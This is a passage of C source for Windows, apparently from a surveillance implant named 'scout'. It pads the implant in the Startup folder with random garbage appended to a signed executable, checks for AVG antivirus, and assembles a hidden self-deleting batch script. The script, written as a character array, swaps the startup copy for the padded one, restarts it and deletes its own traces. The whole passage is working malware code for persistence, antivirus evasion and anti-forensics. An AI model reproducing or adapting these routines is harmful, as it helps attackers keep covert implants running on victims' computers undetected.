#ifdef _DEBUG
else
OutputDebugString(L"No Fat Executable buffer\n");
#endif
zfree(lpGarbagePadding);
} else
/* b] if scout is running from startup and is not big enough (lPadding > 0)
create an expanded kosher copy in temp and replace the one in startup
with a batch script
*/
{
LPBYTE lpGarbagePadding = GetRandomData(dwPadding);
LPBYTE lpFatExecutableBuffer = AppendDataInSignedExecutable(hScout, lpGarbagePadding, dwPadding, &dwFileSize);
zfree(lpGarbagePadding);
if( lpFatExecutableBuffer != NULL )
{
/* read only handle was needed by AppendDataInSignedExecutable */
CloseHandle(hScout);
LPWSTR lpTempFile = CreateTempFile();
HANDLE hFatScout = CreateFile(lpTempFile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if( hFatScout != INVALID_HANDLE_VALUE )
{
DWORD dwBytesWritten = 0;
BOOL bGarbageFileWritten = WriteFile(hFatScout, lpFatExecutableBuffer, dwFileSize, &dwBytesWritten, NULL);
CloseHandle(hFatScout);
#ifdef _DEBUG
if(bGarbageFileWritten && dwBytesWritten == dwFileSize)
OutputDebugString(L"Fat scout file written\n");
else
OutputDebugString(L"Issues writing fat scout file\n");
#endif
/* Batch file increases scout size, then respawns a fat scout process */
PWCHAR pBatchName;
CreateFileReplacerBatch(lpTempFile, strDestPath, &pBatchName);
StartBatch(pBatchName);
ExitProcess(0);
}
} // if( lpFatExecutableBuffer != NULL )
} // else
} //if( dwPadding > 0 )
}//else
}
#ifdef _DEBUG
else {
OutputDebugString(L"No avg here");
}
#endif
/* free resources */
zfree(pApplicationList);
zfree(strDestPath);
zfree(strSourcePath);
zfree(strStartupPath);
}
VOID CreateFileReplacerBatch(__in PWCHAR lpGarbageFile, __in PWCHAR lpScoutStartupPath, __out PWCHAR *pBatchOutName)
{
HANDLE hFile;
ULONG uTick, uOut;
PWCHAR pTempPath = GetTemp();
PWCHAR pBatchName = (PWCHAR) malloc(32767*sizeof(WCHAR));
/*
@echo off
:t
timeout 1
for /f %%i in ('tasklist /FI "IMAGENAME eq %S" ^| find /v /c ""' ) do set YO=%%i # 1) current process name
if %YO%==4 goto :t
type "%S" > "%S" # 2) fat scout file , 3) scout path in startup
start /B cmd /c "%S" # 4) scout path in startup
del /F "%S" # 5) temp scout file
del /F "%S" # 6) batch file
*/
CHAR pBatchFormat[] = { '@','e','c','h','o',' ','o','f','f', '\r', '\n', ':','t', '\r', '\n', 't', 'i', 'm', 'e', 'o', 'u', 't', ' ', '1', '\r', '\n', 'f', 'o', 'r', ' ', '/', 'f', ' ', '%', '%', '%', '%','i', ' ', 'i', 'n',' ','(', '\'', 't','a','s','k','l','i','s','t',' ','/','F','I',' ','"','I','M','A','G','E','N','A','M','E',' ','e','q',' ','%','S','"',' ', '^','|',' ','f','i','n','d', ' ', '/', 'v', ' ', '/', 'c', ' ', '"', '"', '\'',' ',')', ' ', 'd', 'o', ' ', 's', 'e', 't', ' ', 'Y', 'O', '=', '%', '%', '%', '%', 'i', '\r', '\n', 'i','f',' ', '%', '%', 'Y', 'O', '%', '%', '=', '=', '4', ' ','g','o','t','o',' ',':','t', '\r', '\n', 't','y','p','e',' ','"','%','S','"',' ','>', ' ','"','%','S','"', '\r', '\n', 's','t','a','r','t',' ','/','B',' ','c','m','d',' ','/','c',' ','"','%','S','"', '\r', '\n', 'd','e','l',' ','/','F',' ','"','%','S','"', '\r', '\n', 'd','e','l',' ','/','F',' ','"','%','S','"', 0x0 };
PCHAR pBatchBuffer = (PCHAR) malloc(strlen(pBatchFormat) + (32767 * 3));
uTick = GetTickCount();
do
{
_snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++);
hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile && hFile != INVALID_HANDLE_VALUE)
break;
}
while (1);
WCHAR lpFullImageName[MAX_PATH*2];
GetModuleFileName(NULL, lpFullImageName, MAX_PATH*2);
PWCHAR lpImageName = PathFindFileName(lpFullImageName);
_snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, lpImageName, lpGarbageFile, lpScoutStartupPath, lpScoutStartupPath, lpGarbageFile, pBatchName);
WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
CloseHandle(hFile);
#ifdef _DEBUG
OutputDebugString(pBatchName);
OutputDebugString(L"\n");
OutputDebugString(lpImageName);
OutputDebugString(L"\n");
OutputDebugStringA(pBatchBuffer);
#endif
*pBatchOutName = pBatchName;
free(pBatchBuffer);
free(pTempPath);
}